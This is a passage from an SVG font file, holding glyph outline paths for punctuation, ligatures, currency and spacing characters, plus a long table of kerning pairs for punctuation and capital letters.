<glyph unicode="&#x152;" horiz-adv-x="2134" d="M96 715q0 305 210 510t519 205h1178v-283h-713v-295h639v-272h-639v-297h735v-283h-1200q-309 0 -519 205t-210 510zM436 715.5q0 -185.5 119 -316.5t291 -131h123v893h-123q-172 0 -291 -130t-119 -315.5z" />
<glyph unicode="&#x153;" horiz-adv-x="2119" d="M82 551q0 240 166 404.5t419 164.5t420 -172q162 172 400.5 172t397.5 -137t159 -377v-164h-803q14 -90 94 -147t181 -57q162 0 266 108l172 -186q-186 -176 -447.5 -176t-421.5 170q-166 -170 -418.5 -170t-418.5 163.5t-166 403.5zM391 551q0 -135 77 -220t194.5 -85 t194.5 81t81 210v14q0 135 -77 221t-196.5 86t-196.5 -86t-77 -221zM1249 662h484q-11 98 -74.5 151t-154.5 53t-166.5 -55t-88.5 -149z" />
<glyph unicode="&#x2c6;" horiz-adv-x="989" d="M72 1579l231 324h383l232 -324h-252l-172 166l-170 -166h-252z" />
<glyph unicode="&#x2dc;" horiz-adv-x="1198" d="M219 1251q0 154 66.5 242t171.5 88q66 0 159 -56.5t113 -56.5q63 0 62 107h217q0 -154 -67 -242t-171 -88q-63 0 -159.5 56.5t-112.5 56.5q-63 0 -62 -107h-217z" />
<glyph unicode="&#x2000;" horiz-adv-x="971" />
<glyph unicode="&#x2001;" horiz-adv-x="1942" />
<glyph unicode="&#x2002;" horiz-adv-x="971" />
<glyph unicode="&#x2003;" horiz-adv-x="1942" />
<glyph unicode="&#x2004;" horiz-adv-x="647" />
<glyph unicode="&#x2005;" horiz-adv-x="485" />
<glyph unicode="&#x2006;" horiz-adv-x="323" />
<glyph unicode="&#x2007;" horiz-adv-x="323" />
<glyph unicode="&#x2008;" horiz-adv-x="242" />
<glyph unicode="&#x2009;" horiz-adv-x="388" />
<glyph unicode="&#x200a;" horiz-adv-x="107" />
<glyph unicode="&#x2010;" horiz-adv-x="1003" d="M137 479v273h729v-273h-729z" />
<glyph unicode="&#x2011;" horiz-adv-x="1003" d="M137 479v273h729v-273h-729z" />
<glyph unicode="&#x2012;" horiz-adv-x="1003" d="M137 479v273h729v-273h-729z" />
<glyph unicode="&#x2013;" horiz-adv-x="1112" d="M152 440v199h809v-199h-809z" />
<glyph unicode="&#x2014;" horiz-adv-x="1427" d="M131 442v197h1165v-197h-1165z" />
<glyph unicode="&#x2018;" horiz-adv-x="491" d="M74 1081.5q0 71.5 45 141.5l149 217h168l-92 -219q68 -45 68 -126t-48.5 -128t-121 -47t-120.5 45t-48 116.5z" />
<glyph unicode="&#x2019;" horiz-adv-x="491" d="M55 913l92 220q-68 45 -67.5 125.5t48.5 128t121 47.5t121 -45.5t48 -117t-45 -141.5l-150 -217h-168z" />
<glyph unicode="&#x201a;" horiz-adv-x="491" d="M55 -197l92 220q-68 45 -67.5 125.5t48.5 128t121 47.5t121 -45.5t48 -117t-45 -141.5l-150 -217h-168z" />
<glyph unicode="&#x201c;" horiz-adv-x="870" d="M74 1081.5q0 71.5 45 141.5l149 217h168l-92 -219q68 -45 68 -126t-48.5 -128t-121 -47t-120.5 45t-48 116.5zM453 1081.5q0 71.5 45 141.5l149 217h168l-92 -219q68 -45 68 -126t-48.5 -128t-121 -47t-120.5 45t-48 116.5z" />
<glyph unicode="&#x201d;" horiz-adv-x="870" d="M55 913l92 220q-68 45 -67.5 125.5t48.5 128t121 47.5t121 -45.5t48 -117t-45 -141.5l-150 -217h-168zM434 913l92 220q-68 45 -67.5 125.5t48.5 128t120.5 47.5t121 -45.5t48.5 -117t-45 -141.5l-150 -217h-168z" />
<glyph unicode="&#x201e;" horiz-adv-x="870" d="M55 -197l92 220q-68 45 -67.5 125.5t48.5 128t121 47.5t121 -45.5t48 -117t-45 -141.5l-150 -217h-168zM434 -197l92 220q-68 45 -67.5 125.5t48.5 128t120.5 47.5t121 -45.5t48.5 -117t-45 -141.5l-150 -217h-168z" />
<glyph unicode="&#x2022;" horiz-adv-x="897" d="M164 649q0 119 83 202t201.5 83t201.5 -83t83 -202t-83 -201.5t-201.5 -82.5t-201.5 82.5t-83 201.5z" />
<glyph unicode="&#x2026;" horiz-adv-x="1435" d="M117 162q0 76 52 128t128 52t128 -52t52 -128t-52 -128t-128 -52t-128 52t-52 128zM537 162q0 76 52 128t128 52t128 -52t52 -128t-52 -128t-128 -52t-128 52t-52 128zM958 162q0 76 52.5 128t128 52t128 -52t52.5 -128t-52.5 -128t-128 -52t-128 52t-52.5 128z" />
<glyph unicode="&#x202f;" horiz-adv-x="388" />
<glyph unicode="&#x2039;" horiz-adv-x="776" d="M98 502l250 377h309l-241 -377l241 -379h-309z" />
<glyph unicode="&#x203a;" horiz-adv-x="776" d="M119 123l241 379l-241 377h309l250 -377l-250 -379h-309z" />
<glyph unicode="&#x205f;" horiz-adv-x="485" />
<glyph unicode="&#x20ac;" horiz-adv-x="1568" d="M94 485v172h172q-2 18 -2 59.5t2 61.5h-172v172h199q61 233 234 373.5t421 140.5q307 0 527 -247l-183 -238q-150 182 -352 182q-229 0 -317 -211h477v-172h-514q-2 -20 -2 -61t2 -60h514v-172h-467q49 -96 134 -147t187 -51q203 0 332 162l189 -209 q-111 -129 -255.5 -192.5t-287.5 -63.5q-231 0 -403.5 136t-235.5 365h-199z" />
<glyph unicode="&#x2122;" horiz-adv-x="2027" d="M129 1221v211h700v-211h-237v-654h-225v654h-238zM883 567v865h286l203 -431l203 431h285v-865h-226v459l-192 -391h-142l-192 391v-459h-225z" />
<glyph unicode="&#xe000;" horiz-adv-x="1105" d="M0 0v1106h1106v-1106h-1106z" />
<glyph unicode="&#xfb01;" horiz-adv-x="1421" d="M74 870v222h129v67q0 180 109.5 285.5t272.5 105.5t296 -123l-111 -206q-68 78 -149 77q-47 0 -78 -33.5t-31 -99.5v-73h266v-222h-266v-870h-309v870h-129zM942 1370q0 76 52.5 128t128 52t128 -52t52.5 -128t-52.5 -128t-128 -52t-128 52t-52.5 128zM969 0v1102h307 v-1102h-307z" />
<glyph unicode="&#xfb02;" horiz-adv-x="1421" d="M74 870v222h129v67q0 180 109.5 285.5t272.5 105.5t296 -123l-111 -206q-68 78 -149 77q-47 0 -78 -33.5t-31 -99.5v-73h266v-222h-266v-870h-309v870h-129zM969 0v1520h307v-1520h-307z" />
<hkern u1="&#x26;" u2="&#x2019;" k="57" />
<hkern u1="&#x26;" u2="&#xc6;" k="-27" />
<hkern u1="&#x26;" u2="Y" k="47" />
<hkern u1="&#x26;" u2="W" k="35" />
<hkern u1="&#x26;" u2="V" k="43" />
<hkern u1="&#x26;" u2="T" k="43" />
<hkern u1="&#x26;" u2="A" k="-16" />
<hkern u1="&#x26;" u2="&#x27;" k="55" />
<hkern u1="&#x27;" u2="&#x2039;" k="35" />
<hkern u1="&#x27;" u2="&#xf0;" k="18" />
<hkern u1="&#x27;" u2="&#xc6;" k="96" />
<hkern u1="&#x27;" u2="d" k="23" />
<hkern u1="&#x27;" u2="J" k="33" />
<hkern u1="&#x27;" u2="A" k="84" />
<hkern u1="&#x27;" u2="&#x34;" k="35" />
<hkern u1="&#x27;" u2="&#x2f;" k="137" />
<hkern u1="&#x27;" u2="&#x2e;" k="236" />
<hkern u1="&#x27;" u2="&#x26;" k="33" />
<hkern u1="&#x28;" u2="&#xf0;" k="37" />
<hkern u1="&#x28;" u2="&#xef;" k="-27" />
<hkern u1="&#x28;" u2="&#xec;" k="-90" />
<hkern u1="&#x28;" u2="&#x7b;" k="20" />
<hkern u1="&#x28;" u2="w" k="27" />
<hkern u1="&#x28;" u2="v" k="23" />
<hkern u1="&#x28;" u2="u" k="41" />
<hkern u1="&#x28;" u2="t" k="25" />
<hkern u1="&#x28;" u2="s" k="35" />
<hkern u1="&#x28;" u2="q" k="53" />
<hkern u1="&#x28;" u2="o" k="55" />
<hkern u1="&#x28;" u2="n" k="29" />
<hkern u1="&#x28;" u2="j" k="-207" />
<hkern u1="&#x28;" u2="f" k="25" />
<hkern u1="&#x28;" u2="d" k="53" />
<hkern u1="&#x28;" u2="a" k="41" />
<hkern u1="&#x28;" u2="S" k="25" />
<hkern u1="&#x28;" u2="O" k="45" />
<hkern u1="&#x28;" u2="&#x39;" k="20" />
<hkern u1="&#x28;" u2="&#x38;" k="31" />
<hkern u1="&#x28;" u2="&#x36;" k="39" />
<hkern u1="&#x28;" u2="&#x34;" k="45" />
<hkern u1="&#x28;" u2="&#x30;" k="39" />
<hkern u1="&#x28;" u2="&#x28;" k="20" />
<hkern u1="&#x29;" u2="&#x29;" k="20" />
<hkern u1="&#x2a;" u2="&#x2019;" k="-12" />
<hkern u1="&#x2a;" u2="&#xf0;" k="23" />
<hkern u1="&#x2a;" u2="&#xef;" k="-18" />
<hkern u1="&#x2a;" u2="&#xee;" k="-59" />
<hkern u1="&#x2a;" u2="&#xc6;" k="92" />
<hkern u1="&#x2a;" u2="y" k="-27" />
<hkern u1="&#x2a;" u2="o" k="16" />
<hkern u1="&#x2a;" u2="d" k="23" />
<hkern u1="&#x2a;" u2="J" k="37" />
<hkern u1="&#x2a;" u2="A" k="82" />
<hkern u1="&#x2d;" u2="&#xc6;" k="18" />
<hkern u1="&#x2d;" u2="z" k="18" />
<hkern u1="&#x2d;" u2="x" k="43" />
<hkern u1="&#x2d;" u2="Z" k="31" />
<hkern u1="&#x2d;" u2="Y" k="78" />
<hkern u1="&#x2d;" u2="X" k="55" />
<hkern u1="&#x2d;" u2="W" k="37" />
<hkern u1="&#x2d;" u2="V" k="49" />
<hkern u1="&#x2d;" u2="T" k="109" />
<hkern u1="&#x2d;" u2="J" k="49" />
<hkern u1="&#x2d;" u2="A" k="25" />
<hkern u1="&#x2d;" u2="&#x37;" k="27" />
<hkern u1="&#x2d;" u2="&#x33;" k="33" />
<hkern u1="&#x2d;" u2="&#x32;" k="31" />
<hkern u1="&#x2d;" u2="&#x31;" k="47" />
<hkern u1="&#x2e;" u2="&#x2019;" k="264" />
<hkern u1="&#x2e;" u2="&#x2018;" k="264" />
<hkern u1="&#x2e;" u2="y" k="70" />
<hkern u1="&#x2e;" u2="w" k="53" />
<hkern u1="&#x2e;" u2="v" k="68" />
<hkern u1="&#x2e;" u2="t" k="29" />
<hkern u1="&#x2e;" u2="f" k="16" />
<hkern u1="&#x2e;" u2="Y" k="111" />
<hkern u1="&#x2e;" u2="W" k="90" />
<hkern u1="&#x2e;" u2="V" k="113" />
<hkern u1="&#x2e;" u2="U" k="27" />
<hkern u1="&#x2e;" u2="T" k="111" />
<hkern u1="&#x2e;" u2="O" k="31" />
<hkern u1="&#x2e;" u2="&#x37;" k="29" />
<hkern u1="&#x2e;" u2="&#x31;" k="57" />
<hkern u1="&#x2e;" u2="&#x27;" k="236" />
<hkern u1="&#x2f;" u2="&#xf0;" k="43" />
<hkern u1="&#x2f;" u2="&#xec;" k="-55" />
<hkern u1="&#x2f;" u2="&#xce;" k="-78" />
<hkern u1="&#x2f;" u2="&#xc6;" k="129" />
<hkern u1="&#x2f;" u2="z" k="49" />
<hkern u1="&#x2f;" u2="x" k="27" />
<hkern u1="&#x2f;" u2="u" k="49" />
<hkern u1="&#x2f;" u2="s" k="84" />
<hkern u1="&#x2f;" u2="q" k="88" />
<hkern u1="&#x2f;" u2="o" k="88" />
<hkern u1="&#x2f;" u2="n" k="51" />
<hkern u1="&#x2f;" u2="f" k="27" />
<hkern u1="&#x2f;" u2="d" k="86" />
<hkern u1="&#x2f;" u2="a" k="74" />
<hkern u1="&#x2f;" u2="S" k="35" />
<hkern u1="&#x2f;" u2="O" k="49" />
<hkern u1="&#x2f;" u2="J" k="27" />
<hkern u1="&#x2f;" u2="A" k="121" />
<hkern u1="&#x2f;" u2="&#x39;" k="23" />
<hkern u1="&#x2f;" u2="&#x38;" k="37" />
<hkern u1="&#x2f;" u2="&#x36;" k="43" />
<hkern u1="&#x2f;" u2="&#x34;" k="82" />
<hkern u1="&#x2f;" u2="&#x30;" k="41" />
<hkern u1="&#x2f;" u2="&#x2f;" k="580" />
<hkern u1="&#x3a;" u2="&#x2019;" k="20" />
<hkern u1="&#x3a;" u2="y" k="16" />
<hkern u1="&#x3a;" u2="Y" k="70" />
<hkern u1="&#x3a;" u2="W" k="37" />
<hkern u1="&#x3a;" u2="V" k="49" />
<hkern u1="&#x3a;" u2="T" k="102" />
<hkern u1="&#x40;" u2="Y" k="45" />
<hkern u1="&#x40;" u2="W" k="20" />
<hkern u1="&#x40;" u2="V" k="31" />
<hkern u1="&#x40;" u2="T" k="41" />
<hkern u1="A" u2="&#x2122;" k="86" />
<hkern u1="A" u2="&#x2019;" k="96" />
<hkern u1="A" u2="&#x2018;" k="96" />
<hkern u1="A" u2="&#xf0;" k="23" />
<hkern u1="A" u2="&#xae;" k="23" />
<hkern u1="A" u2="y" k="63" />
<hkern u1="A" u2="w" k="57" />
<hkern u1="A" u2="v" k="63" />
<hkern u1="A" u2="u" k="20" />
<hkern u1="A" u2="t" k="57" />
<hkern u1="A" u2="q" k="25" />
<hkern u1="A" u2="o" k="27" />
<hkern u1="A" u2="f" k="23" />
<hkern u1="A" u2="d" k="27" />
<hkern u1="A" u2="a" k="10" />
<hkern u1="A" u2="\" k="111" />
<hkern u1="A" u2="Y" k="100" />
<hkern u1="A" u2="W" k="76" />
<hkern u1="A" u2="V" k="88" />
<hkern u1="A" u2="U" k="39" />
<hkern u1="A" u2="T" k="104" />
<hkern u1="A" u2="S" k="10" />
<hkern u1="A" u2="O" k="43" />
<hkern u1="A" u2="&#x3f;" k="39" />
<hkern u1="A" u2="&#x31;" k="39" />
<hkern u1="A" u2="&#x2d;" k="25" />
<hkern u1="A" u2="&#x2a;" k="82" />
<hkern u1="A" u2="&#x27;" k="84" />
<hkern u1="B" u2="&#xf0;" k="10" />
<hkern u1="B" u2="z" k="12" />
<hkern u1="B" u2="y" k="20" />
<hkern u1="B" u2="x" k="31" />
<hkern u1="B" u2="w" k="18" />
<hkern u1="B" u2="v" k="18" />
<hkern u1="B" u2="u" k="10" />
<hkern u1="B" u2="t" k="23" />
<hkern u1="B" u2="s" k="18" />
<hkern u1="B" u2="o" k="10" />
<hkern u1="B" u2="f" k="20" />
<hkern u1="B" u2="d" k="10" />
<hkern u1="B" u2="]" k="33" />
<hkern u1="B" u2="\" k="29" />
<hkern u1="B" u2="Z" k="12" />
<hkern u1="B" u2="Y" k="41" />
<hkern u1="B" u2="X" k="25" />
<hkern u1="B" u2="W" k="20" />
<hkern u1="B" u2="V" k="31" />
<hkern u1="B" u2="T" k="37" />
<hkern u1="B" u2="J" k="18" />
<hkern u1="B" u2="A" k="16" />
<hkern u1="B" u2="&#x2f;" k="25" />
<hkern u1="B" u2="&#x29;" k="33" />
<hkern u1="C" u2="&#x2122;" k="-45" />
<hkern u1="C" u2="&#xf0;" k="33" />
<hkern u1="C" u2="&#xef;" k="-14" />
<hkern u1="C" u2="&#xee;" k="-27" />
<hkern u1="C" u2="u" k="16" />
<hkern u1="C" u2="t" k="10" />
<hkern u1="C" u2="s" k="23" />
<hkern u1="C" u2="q" k="41" />
<hkern u1="C" u2="o" k="43" />
<hkern u1="C" u2="n" k="14" />
<hkern u1="C" u2="f" k="10" />
<hkern u1="C" u2="d" k="43" />
<hkern u1="C" u2="a" k="12" />
<hkern u1="C" u2="O" k="31" />
<hkern u1="C" u2="A" k="10" />
<hkern u1="C" u2="&#x2d;" k="16" />
<hkern u1="C" u2="&#x2a;" k="-29" />
<hkern u1="D" u2="&#xf0;" k="12" />
<hkern u1="D" u2="&#xc6;" k="41" />
<hkern u1="D" u2="z" k="16" />
<hkern u1="D" u2="x" k="31" />
<hkern u1="D" u2="u" k="10" />
<hkern u1="D" u2="t" k="10" />
<hkern u1="D" u2="s" k="18" />
<hkern u1="D" u2="n" k="12" />
<hkern u1="D" u2="l" k="12" />
<hkern u1="D" u2="i" k="12" />
<hkern u1="D" u2="h" k="12" />
<hkern u1="D" u2="f" k="10" />
<hkern u1="D" u2="a" k="14" />
<hkern u1="D" u2="]" k="43" />
<hkern u1="D" u2="\" k="37" />
<hkern u1="D" u2="Z" k="27" />
<hkern u1="D" u2="Y" k="49" />
<hkern u1="D" u2="X" k="53" />
<hkern u1="D" u2="W" k="23" />
<hkern u1="D" u2="V" k="33" />
<hkern u1="D" u2="T" k="37" />
<hkern u1="D" u2="S" k="10" />
<hkern u1="D" u2="J" k="41" />
<hkern u1="D" u2="A" k="41" />
<hkern u1="D" u2="&#x2f;" k="53" />
<hkern u1="D" u2="&#x2e;" k="23" />
<hkern u1="D" u2="&#x29;" k="45" />
<hkern u1="E" u2="&#xf0;" k="25" />
<hkern u1="E" u2="&#xee;" k="-14" />
<hkern u1="E" u2="u" k="14" />
<hkern u1="E" u2="t" k="16" />
<hkern u1="E" u2="s" k="10" />
<hkern u1="E" u2="q" k="25" />
<hkern u1="E" u2="o" k="25" />
<hkern u1="E" u2="n" k="10" />
<hkern u1="E" u2="f" k="12" />
<hkern u1="E" u2="d" k="25" />
<hkern u1="E" u2="a" k="14" />
<hkern u1="E" u2="O" k="23" />
<hkern u1="F" u2="&#xf0;" k="29" />
<hkern u1="F" u2="&#xef;" k="-18" />
<hkern u1="F" u2="&#xee;" k="-51" />
<hkern u1="F" u2="&#xec;" k="-18" />
<hkern u1="F" u2="&#xc6;" k="94" />
<hkern u1="F" u2="z" k="25" />
<hkern u1="F" u2="x" k="14" />
<hkern u1="F" u2="u" k="16" />
<hkern u1="F" u2="t" k="10" />
<hkern u1="F" u2="s" k="35" />
<hkern u1="F" u2="q" k="23" />
<hkern u1="F" u2="o" k="23" />
<hkern u1="F" u2="n" k="20" />
<hkern u1="F" u2="f" k="10" />
<hkern u1="F" u2="d" k="23" />
<hkern u1="F" u2="a" k="31" />
<hkern u1="F" u2="S" k="10" />
<hkern u1="F" u2="J" k="39" />
<hkern u1="F" u2="A" k="78" />
<hkern u1="F" u2="&#x2f;" k="80" />
<hkern u1="F" u2="&#x2e;" k="82" />
<hkern u1="G" u2="z" k="10" />
<hkern u1="G" u2="y" k="18" />
<hkern u1="G" u2="x" k="18" />
<hkern u1="G" u2="w" k="18" />
<hkern u1="G" u2="v" k="16" />
<hkern u1="G" u2="t" k="18" />
<hkern u1="G" u2="s" k="10" />
<hkern u1="G" u2="f" k="16" />
<hkern u1="G" u2="Y" k="25" />
<hkern u1="G" u2="X" k="12" />
<hkern u1="G" u2="W" k="12" />
<hkern u1="G" u2="V" k="20" />
<hkern u1="G" u2="T" k="23" />
<hkern u1="G" u2="A" k="12" />
<hkern u1="G" u2="&#x29;" k="23" />
<hkern u1="I" u2="&#xf0;" k="25" />
<hkern u1="I" u2="z" k="12" />
<hkern u1="I" u2="u" k="10" />
<hkern u1="I" u2="t" k="18" />
<hkern u1="I" u2="s" k="14" />
<hkern u1="I" u2="q" k="20" />
<hkern u1="I" u2="o" k="20" />
<hkern u1="I" u2="n" k="10" />
<hkern u1="I" u2="l" k="10" />
<hkern u1="I" u2="i" k="10" />
<hkern u1="I" u2="h" k="10" />
<hkern u1="I" u2="f" k="16" />
<hkern u1="I" u2="d" k="20" />
<hkern u1="I" u2="a" k="14" />
<hkern u1="J" u2="&#xf0;" k="25" />
<hkern u1="J" u2="&#xc6;" k="23" />
<hkern u1="J" u2="z" k="18" />
<hkern u1="J" u2="x" k="12" />
<hkern u1="J" u2="u" k="16" />
<hkern u1="J" u2="t" k="14" />
<hkern u1="J" u2="s" k="23" />
<hkern u1="J" u2="q" k="18" />
<hkern u1="J" u2="o" k="18" />
<hkern u1="J" u2="n" k="10" />
<hkern u1="J" u2="l" k="12" />
<hkern u1="J" u2="i" k="12" />
<hkern u1="J" u2="h" k="12" />
<hkern u1="J" u2="f" k="14" />
<hkern u1="J" u2="d" k="18" />
<hkern u1="J" u2="a" k="18" />
<hkern u1="J" u2="J" k="16" />
<hkern u1="J" u2="A" k="20" />
<hkern u1="J" u2="&#x2f;" k="41" />
<hkern u1="K" u2="&#x2039;" k="29" />
<hkern u1="K" u2="&#xf0;" k="82" />
<hkern u1="K" u2="&#xef;" k="-84" />
<hkern u1="K" u2="&#xee;" k="-31" />
<hkern u1="K" u2="&#xec;" k="-88" />
<hkern u1="K" u2="&#xae;" k="20" />
<hkern u1="K" u2="y" k="53" />
<hkern u1="K" u2="w" k="59" />
<hkern u1="K" u2="v" k="53" />
<hkern u1="K" u2="u" k="49" />
<hkern u1="K" u2="t" k="31" />
<hkern u1="K" u2="s" k="14" />
<hkern u1="K" u2="q" k="90" />
<hkern u1="K" u2="o" k="96" />
<hkern u1="K" u2="n" k="14" />
<hkern u1="K" u2="f" k="23" />
<hkern u1="K" u2="d" k="94" />
<hkern u1="K" u2="a" k="33" />
<hkern u1="K" u2="S" k="39" />
<hkern u1="K" u2="O" k="74" />
<hkern u1="K" u2="&#x2d;" k="55" />
<hkern u1="L" u2="&#x2122;" k="162" />
<hkern u1="L" u2="&#x2019;" k="168" />
<hkern u1="L" u2="&#x2018;" k="168" />
<hkern u1="L" u2="&#xb7;" k="123" />
<hkern u1="L" u2="y" k="98" />
<hkern u1="L" u2="w" k="82" />
<hkern u1="L" u2="v" k="100" />
<hkern u1="L" u2="u" k="14" />
<hkern u1="L" u2="t" k="55" />
<hkern u1="L" u2="q" k="14" />
<hkern u1="L" u2="o" k="14" />
<hkern u1="L" u2="f" k="31" />
<hkern u1="L" u2="d" k="14" />
<hkern u1="L" u2="\" k="131" />
<hkern u1="L" u2="Y" k="125" />
<hkern u1="L" u2="W" k="102" />
<hkern u1="L" u2="V" k="121" />
<hkern u1="L" u2="U" k="31" />
<hkern u1="L" u2="T" k="127" />
<hkern u1="L" u2="O" k="39" />
<hkern u1="L" u2="&#x3f;" k="45" />
<hkern u1="L" u2="&#x31;" k="41" />
<hkern u1="L" u2="&#x2d;" k="100" />
<hkern u1="L" u2="&#x2a;" k="170" />
<hkern u1="L" u2="&#x27;" k="166" />
<hkern u1="O" u2="&#xf0;" k="14" />
<hkern u1="O" u2="&#xc6;" k="47" />
<hkern u1="O" u2="z" k="18" />
<hkern u1="O" u2="x" k="33" />
<hkern u1="O" u2="t" k="12" />
<hkern u1="O" u2="s" k="16" />
<hkern u1="O" u2="n" k="12" />
<hkern u1="O" u2="l" k="12" />
<hkern u1="O" u2="i" k="12" />
<hkern u1="O" u2="h" k="12" />
<hkern u1="O" u2="f" k="10" />
<hkern u1="O" u2="a" k="14" />
<hkern u1="O" u2="]" k="43" />
<hkern u1="O" u2="\" k="37" />
<hkern u1="O" u2="Z" k="29" />
<hkern u1="O" u2="Y" k="51" />
<hkern u1="O" u2="X" k="55" />
<hkern u1="O" u2="W" k="23" />
<hkern u1="O" u2="V" k="33" />
<hkern u1="O" u2="T" k="39" />
<hkern u1="O" u2="S" k="12" />
<hkern u1="O" u2="J" k="45" />
<hkern u1="O" u2="A" k="43" />
<hkern u1="O" u2="&#x2f;" k="55" />
<hkern u1="O" u2="&#x2e;" k="31" />
<hkern u1="O" u2="&#x29;" k="45" />
<hkern u1="P" u2="&#xf0;" k="25" />
<hkern u1="P" u2="&#xc6;" k="104" />
<hkern u1="P" u2="z" k="10" />
<hkern u1="P" u2="s" k="16" />
<hkern u1="P" u2="q" k="12" />
<hkern u1="P" u2="o" k="14" />
<hkern u1="P" u2="d" k="12" />
<hkern u1="P" u2="a" k="18" />
<hkern u1="P" u2="]" k="25" />
<hkern u1="P" u2="Z" k="16" />
<hkern u1="P" u2="Y" k="10" />
<hkern u1="P" u2="X" k="43" />
<hkern u1="P" u2="J" k="59" />
<hkern u1="P" u2="A" k="84" />
<hkern u1="P" u2="&#x2f;" k="90" />
<hkern u1="P" u2="&#x2e;" k="106" />
<hkern u1="P" u2="&#x29;" k="37" />
<hkern u1="Q" u2="&#x201e;" k="6" />
<hkern u1="Q" u2="&#x201a;" k="6" />
<hkern u1="Q" u2="&#xc6;" k="29" />
<hkern u1="Q" u2="j" k="-172" />
<hkern u1="Q" u2="]" k="-6" />
<hkern u1="Q" u2="&#x2f;" k="31" />
<hkern u1="R" u2="&#x2039;" k="29" />
<hkern u1="R" u2="&#xf0;" k="45" />
<hkern u1="R" u2="y" k="14" />
<hkern u1="R" u2="w" k="12" />
<hkern u1="R" u2="v" k="12" />
<hkern u1="R" u2="u" k="23" />
<hkern u1="R" u2="t" k="20" />
<hkern u1="R" u2="q" k="37" />
<hkern u1="R" u2="o" k="41" />
<hkern u1="R" u2="n" k="10" />
<hkern u1="R" u2="l" k="10" />
<hkern u1="R" u2="i" k="10" />
<hkern u1="R" u2="h" k="10" />
<hkern u1="R" u2="f" k="14" />
<hkern u1="R" u2="d" k="37" />
<hkern u1="R" u2="a" k="27" />
<hkern u1="R" u2="\" k="33" />
<hkern u1="R" u2="Y" k="37" />
<hkern u1="R" u2="W" k="18" />
<hkern u1="R" u2="V" k="27" />
<hkern u1="R" u2="T" k="29" />
<hkern u1="R" u2="O" k="14" />
<hkern u1="R" u2="J" k="16" />
<hkern u1="S" u2="&#xf0;" k="10" />
<hkern u1="S" u2="&#xee;" k="-31" />
<hkern u1="S" u2="z" k="18" />
<hkern u1="S" u2="y" k="25" />
<hkern u1="S" u2="x" k="23" />
<hkern u1="S" u2="w" k="25" />
<hkern u1="S" u2="v" k="20" />
<hkern u1="S" u2="u" k="14" />
<hkern u1="S" u2="t" k="29" />
<hkern u1="S" u2="s" k="20" />
<hkern u1="S" u2="q" k="10" />
<hkern u1="S" u2="o" k="10" />
<hkern u1="S" u2="n" k="16" />
<hkern u1="S" u2="f" k="29" />
<hkern u1="S" u2="d" k="10" />
<hkern u1="S" u2="Y" k="10" />
<hkern u1="S" u2="X" k="10" />
<hkern u1="S" u2="V" k="10" />
<hkern u1="S" u2="T" k="12" />
<hkern u1="S" u2="A" k="16" />
<hkern u1="S" u2="&#x2f;" k="25" />
<hkern u1="T" u2="&#x203a;" k="98" />
<hkern u1="T" u2="&#x2039;" k="115" />
<hkern u1="T" u2="&#xf1;" k="78" />
<hkern u1="T" u2="&#xf0;" k="82" />
<hkern u1="T" u2="&#xef;" k="-53" />
<hkern u1="T" u2="&#xee;" k="-88" />
<hkern u1="T" u2="&#xed;" k="27" />
<hkern u1="T" u2="&#xec;" k="-57" />
<hkern u1="T" u2="&#xdf;" k="27" />
<hkern u1="T" u2="&#xc6;" k="113" />
<hkern u1="T" u2="z" k="137" />
<hkern u1="T" u2="y" k="135" />
<hkern u1="T" u2="x" k="131" />
<hkern u1="T" u2="w" k="125" />
<hkern u1="T" u2="v" k="133" />
<hkern u1="T" u2="u" k="100" />
<hkern u1="T" u2="s" k="131" />
<hkern u1="T" u2="q" k="119" />
<hkern u1="T" u2="o" k="123" />
<hkern u1="T" u2="n" k="43" />
<hkern u1="T" u2="l" k="10" />
<hkern u1="T" u2="i" k="10" />
<hkern u1="T" u2="h" k="10" />
<hkern u1="T" u2="f" k="14" />
<hkern u1="T" u2="d" k="119" />
<hkern u1="T" u2="a" k="131" />
<hkern u1="T" u2="S" k="12" />
<hkern u1="T" u2="O" k="39" />
<hkern u1="T" u2="J" k="31" />
<hkern u1="T" u2="A" k="104" />
<hkern u1="T" u2="&#x40;" k="45" />
<hkern u1="T" u2="&#x3a;" k="102" />
<hkern u1="T" u2="&#x34;" k="57" />
<hkern u1="T" u2="&#x2f;" k="102" />
<hkern u1="T" u2="&#x2e;" k="111" />
<hkern u1="T" u2="&#x2d;" k="109" />
<hkern u1="T" u2="&#x26;" k="25" />
<hkern u1="U" u2="&#xf0;" k="27" />
<hkern u1="U" u2="&#xc6;" k="43" />
<hkern u1="U" u2="z" k="23" />
<hkern u1="U" u2="x" k="14" />
<hkern u1="U" u2="u" k="16" />
<hkern u1="U" u2="t" k="14" />
<hkern u1="U" u2="s" k="29" />
<hkern u1="U" u2="q" k="20" />
<hkern u1="U" u2="o" k="20" />
<hkern u1="U" u2="n" k="16" />
<hkern u1="U" u2="l" k="12" />
<hkern u1="U" u2="i" k="12" />
<hkern u1="U" u2="h" k="12" />
<hkern u1="U" u2="f" k="14" />
<hkern u1="U" u2="d" k="20" />
<hkern u1="U" u2="a" k="23" />
<hkern u1="U" u2="J" k="27" />
<hkern u1="U" u2="A" k="37" />
<hkern u1="U" u2="&#x2f;" k="51" />
<hkern u1="U" u2="&#x2e;" k="27" />
<hkern u1="V" u2="&#x2122;" k="-29" />
<hkern u1="V" u2="&#x203a;" k="31" />
<hkern u1="V" u2="&#x2039;" k="70" />
<hkern u1="V" u2="&#xf0;" k="61" />
<hkern u1="V" u2="&#xef;" k="-115" />
<hkern u1="V" u2="&#xee;" k="-86" />
<hkern u1="V" u2="&#xed;" k="23" />
<hkern u1="V" u2="&#xec;" k="-117" />
<hkern u1="V" u2="&#xdf;" k="27" />
<hkern u1="V" u2="&#xc6;" k="96" />
<hkern u1="V" u2="z" k="49" />
<hkern u1="V" u2="x" k="16" />
<hkern u1="V" u2="u" k="49" />
<hkern u1="V" u2="t" k="12" />
<hkern u1="V" u2="s" k="98" />
<hkern u1="V" u2="q" k="94" />
<hkern u1="V" u2="o" k="94" />
<hkern u1="V" u2="n" k="57" />
<hkern u1="V" u2="f" k="16" />
<hkern u1="V" u2="d" k="94" />
<hkern u1="V" u2="a" k="84" />
<hkern u1="V" u2="S" k="18" />
<hkern u1="V" u2="O" k="33" />
<hkern u1="V" u2="J" k="31" />
<hkern u1="V" u2="A" k="88" />
<hkern u1="V" u2="&#x40;" k="31" />
<hkern u1="V" u2="&#x3a;" k="49" />
<hkern u1="V" u2="&#x34;" k="39" />
<hkern u1="V" u2="&#x31;" k="-16" />
<hkern u1="V" u2="&#x2f;" k="111" />
<hkern u1="V" u2="&#x2e;" k="113" />
<hkern u1="V" u2="&#x2d;" k="49" />
<hkern u1="V" u2="&#x26;" k="27" />
<hkern u1="W" u2="&#x2122;" k="-12" />
